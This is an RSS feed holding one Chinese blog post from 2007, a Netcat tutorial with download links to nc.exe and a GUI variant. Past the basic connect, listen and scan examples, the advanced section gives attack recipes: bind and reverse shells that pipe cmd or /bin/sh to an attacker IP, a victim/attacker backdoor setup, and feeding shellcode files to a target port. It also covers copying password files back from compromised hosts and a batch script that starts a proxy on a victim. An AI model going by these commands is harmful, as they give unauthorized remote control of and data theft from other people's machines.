<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" >

<channel>
	<title>Maker&#039;s blog &#187; 瑞士军刀</title>
	<atom:link href="http://blog.foolbird.net/t/%e7%91%9e%e5%a3%ab%e5%86%9b%e5%88%80/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.foolbird.net</link>
	<description>用多一点点的辛苦, 去交换多一点点的幸福.</description>
	<lastBuildDate>Mon, 16 Jan 2012 14:31:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>瑞士军刀NC下载与使用教程</title>
		<link>http://blog.foolbird.net/460.html</link>
		<comments>http://blog.foolbird.net/460.html#comments</comments>
		<pubDate>Wed, 07 Feb 2007 15:38:13 +0000</pubDate>
		<dc:creator>maker</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[nc]]></category>
		<category><![CDATA[下载]]></category>
		<category><![CDATA[瑞士军刀]]></category>

		<guid isPermaLink="false">http://www.foolbird.net/?p=460</guid>
		<description><![CDATA[nc.exe全称NetCat,被誉为网络安全界的&#8221;瑞士军刀&#8221;.nc.exe是一个非常标准的telnet客户端工具,正因为它的强大功能使得它在入侵时被广泛应用,成为黑客们的必备武器之一. 我把最近收集的nc.exe的使用方法整理了一下,发给大家. 另外还找到了一款改编后的可视化的nc,也提供给大家. ======================================================== 软件介绍： 工具名：Netcat 作者：Hobbit &#38;&#38; Chris Wysopal 类别：开放源码 平台：Linux/BSD/Unix/Windows WINDOWS下版本号：[v1.10 NT] ======================================================== 参数介绍： *nc.exe -h*即可看到各参数的使用方法。 基本格式：nc [-options] hostname port[s] [ports] &#8230; nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向，一旦连接，就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, &#8230; -h 帮助信息 -i secs 延时的间隔 -l 监听模式，用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址，不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出&#8211;用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉&#8211;用于扫描时 端口的表示方法可写为M-N的范围格式。 ======================================================== 基本用法： 1)连接到REMOTE主机，例子： 格式：nc -nvv 192.168.x.x 80 讲解：连到192.168.x.x的TCP80端口 2)监听LOCAL主机，例子： 格式：nc -l -p 80 讲解：监听本机的TCP80端口 3)扫描远程主机，例子： 格式：nc -nvv -w2 -z 192.168.x.x 80-445 讲解：扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL，例子： 格式：nc -l -p 5354 -t -e c:winntsystem32cmd.exe 讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接，例子： 格式：nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法（其实NC的用法还有很多， 当配合管道命令&#8221;&#124;&#8221;与重定向命令&#8221;&#60;&#8221;、&#8221;&#62;&#8221;等等命令功能更强大&#8230;&#8230;）。 ======================================================== 高级用法： [...]]]></description>
			<content:encoded><![CDATA[<p>nc.exe全称NetCat,被誉为网络安全界的&#8221;瑞士军刀&#8221;.nc.exe是一个非常标准的telnet客户端工具,正因为它的强大功能使得它在入侵时被广泛应用,成为黑客们的必备武器之一.</p>
<p>我把最近收集的nc.exe的使用方法整理了一下,发给大家.</p>
<p>另外还找到了一款改编后的可视化的nc,也提供给大家.</p>
<p>========================================================</p>
<p>软件介绍：</p>
<p>工具名：Netcat<br />
作者：Hobbit &amp;&amp; Chris Wysopal<br />
类别：开放源码<br />
平台：Linux/BSD/Unix/Windows<br />
WINDOWS下版本号：[v1.10 NT]</p>
<p>========================================================</p>
<p>参数介绍：</p>
<p>*nc.exe -h*即可看到各参数的使用方法。<br />
基本格式：nc [-options] hostname port[s] [ports] &#8230;<br />
nc -l -p port [options] [hostname] [port]</p>
<p>-d 后台模式<br />
-e prog 程序重定向，一旦连接，就执行 [危险!!]<br />
-g gateway source-routing hop point[s], up to 8<br />
-G num source-routing pointer: 4, 8, 12, &#8230;<br />
-h 帮助信息<br />
-i secs 延时的间隔<br />
-l 监听模式，用于入站连接<br />
-L 连接关闭后,仍然继续监听<br />
-n 指定数字的IP地址，不能用hostname<br />
-o file 记录16进制的传输<br />
-p port 本地端口号<br />
-r 随机本地及远程端口<br />
-s addr 本地源地址<br />
-t 使用TELNET交互方式<br />
-u UDP模式<br />
-v 详细输出&#8211;用两个-v可得到更详细的内容<br />
-w secs timeout的时间<br />
-z 将输入输出关掉&#8211;用于扫描时</p>
<p>端口的表示方法可写为M-N的范围格式。</p>
<p>========================================================</p>
<p>基本用法：</p>
<p>1)连接到REMOTE主机，例子：<br />
格式：nc -nvv 192.168.x.x 80<br />
讲解：连到192.168.x.x的TCP80端口</p>
<p>2)监听LOCAL主机，例子：<br />
格式：nc -l -p 80<br />
讲解：监听本机的TCP80端口</p>
<p>3)扫描远程主机，例子：<br />
格式：nc -nvv -w2 -z 192.168.x.x 80-445<br />
讲解：扫描192.168.x.x的TCP80到TCP445的所有端口</p>
<p>4)REMOTE主机绑定SHELL，例子：<br />
格式：nc -l -p 5354 -t -e c:winntsystem32cmd.exe<br />
讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口</p>
<p>5)REMOTE主机绑定SHELL并反向连接，例子：<br />
格式：nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354<br />
讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口</p>
<p>以上为最基本的几种用法（其实NC的用法还有很多，<br />
当配合管道命令&#8221;|&#8221;与重定向命令&#8221;&lt;&#8221;、&#8221;&gt;&#8221;等等命令功能更强大&#8230;&#8230;）。</p>
<p>========================================================</p>
<p>高级用法：</p>
<p>6)作攻击程序用，例子：<br />
格式1：type.exe c:exploit.txt|nc -nvv 192.168.x.x 80<br />
格式2：nc -nvv 192.168.x.x 80 &lt; c:exploit.txt<br />
讲解：连接到192.168.x.x的80端口，并在其管道中发送*c:exploit.txt*的内容(两种格式确有相同的效果,真是有异曲同工之妙.</p>
<p>附：*c:exploit.txt*为shellcode等</p>
<p>7)作蜜罐用[1]，例子：<br />
格式：nc -L -p 80<br />
讲解：使用*-L*(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止</p>
<p>8)作蜜罐用[2]，例子：<br />
格式：nc -L -p 80 &gt; c:log.txt<br />
讲解：使用*-L*可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到*c:log.txt*中，如果把*&gt;* 改为*&gt;&gt;*即可以追加日志</p>
<p>附：*c:log.txt*为日志等</p>
<p>9)作蜜罐用[3]，例子：<br />
格式1：nc -L -p 80 &lt; c:honeypot.txt<br />
格式2：type.exe c:honeypot.txt|nc -L -p 80<br />
讲解：使用*-L*可以不停地监听某一个端口，直到ctrl+c为止，并把*c:honeypot.txt*的内容*送*入其管道中</p>
<p>10) 后门</p>
<p>victim machine: //受害者的机器</p>
<p>nc -l -p port -e cmd //win2000</p>
<p>nc -l -p port -e /bin/sh //unix,linux</p>
<p>attacker machine: //攻击者的机器.</p>
<p>nc ip -p port //连接victim_IP,然后得到一个shell。</p>
<p>11)反向连接</p>
<p>attacker machine: //一般是sql2,远程溢出,webdavx3攻击.</p>
<p>//或者wollf的反向连接.</p>
<p>nc -vv -l -p port</p>
<p>victim machine:</p>
<p>nc -e cmd attacker ip -p port</p>
<p>nc -e /bin/sh attacker ip -p port</p>
<p>或者：</p>
<p>attacker machine:</p>
<p>nc -vv -l -p port1 /*用于输入*/</p>
<p>nc -vv -l -p prot2 /*用于显示*/</p>
<p>victim machine:</p>
<p>nc attacker_ip port1 　 cmd 　 nc attacker_ip port2</p>
<p>nc attacker_ip port1 　 /bin/sh 　 nc attacker_ip port2</p>
<p>139要加参数-s（nc -L -p 139 -d -e cmd -s 对方机器IP）</p>
<p>这样就可以保证nc优先于NETBIOS。</p>
<p>12)传送文件：</p>
<p>从肉鸡拖密码文件回来.</p>
<p>nc -d -l -p port &lt; pathfiledest 　　　 /*attacker machine*/ 可以shell执行</p>
<p>nc -vv attacker_ip port &gt; pathfile.txt /*victim machine*/ 需要Ctrl+C退出</p>
<p>//肉鸡需要gui界面的cmd里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.</p>
<p>上传命令文件到肉鸡</p>
<p>nc －vv -l -p port &gt; pathfile.txt　　　　　 /*victim machine*/ 需要Ctrl+C退出</p>
<p>nc -d victim_ip port &lt; pathfiledest 　 /*attacker machine*/ 可以shell执行</p>
<p>//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.</p>
<p>结论: 可以传输ascii,bin文件.可以传输程序文件.</p>
<p>问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc .</p>
<p>或者只有再次连接使用pskill 杀掉进程.但是是否释放传输文件打开的句柄了?</p>
<p>13) 端口数据抓包.</p>
<p>nc -vv -w 2 -o test.txt <a href="http://www.m4ker.net">www.m4ker.net</a> 80 21-15</p>
<p>&lt; 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error</p>
<p>&lt; 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command &#8220;&#8221; unr</p>
<p>&lt; 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized&#8230;</p>
<p>&lt; 00000084 83 00 00 01 8f # &#8230;..</p>
<p>14) telnet,自动批处理。</p>
<p>nc victim_ip port &lt; pathfile.cmd 　 /*victim machine*/ 显示执行过程.</p>
<p>nc -vv victim_ip port &lt; pathfile.cmd 　 /*victim machine*/ 显示执行过程.</p>
<p>nc -d victim_ip port &lt; pathfile.cmd 安静模式.</p>
<p>_______________file.cmd________________________</p>
<p>password</p>
<p>cd %windir%</p>
<p>echo []=[%windir%]</p>
<p>c:</p>
<p>cd</p>
<p>md test</p>
<p>cd /d %windir%system32</p>
<p>net stop sksockserver</p>
<p>snake -config port 11111</p>
<p>net start sksockserver</p>
<p>exit</p>
<p><strong>附件:</strong><a href="http://foolbird.net/wp-content/uploads/2007/02/161_nc.exe" target="_blank">nc.exe</a>(59392 Byte)</p>
<p><strong>附件:</strong><a href="http://foolbird.net/wp-content/uploads/2007/02/162_mvnc.exe" target="_blank">mvnc.exe</a>(188928 Byte)</p>
<p><strong>图片附件:</strong><br />
<a title="kshnc.jpg" rel="attachment wp-att-146" href="http://www.foolbird.net/?attachment_id=146"><img src="http://foolbird.net/wp-content/uploads/2007/02/163_kshnc.jpg" alt="kshnc.jpg" /></a></p>
<h3  class="related_post_title">Related Posts</h3><ul class="related_post"><li>Feb 23, 2007 -- <a href="http://blog.foolbird.net/428.html" title="sarticle系列下载">sarticle系列下载</a></li><li>Feb 13, 2007 -- <a href="http://blog.foolbird.net/446.html" title="sablog系列下载.">sablog系列下载.</a></li><li>Feb 5, 2007 -- <a href="http://blog.foolbird.net/461.html" title="tel.xls.exe专杀下载">tel.xls.exe专杀下载</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://blog.foolbird.net/460.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>

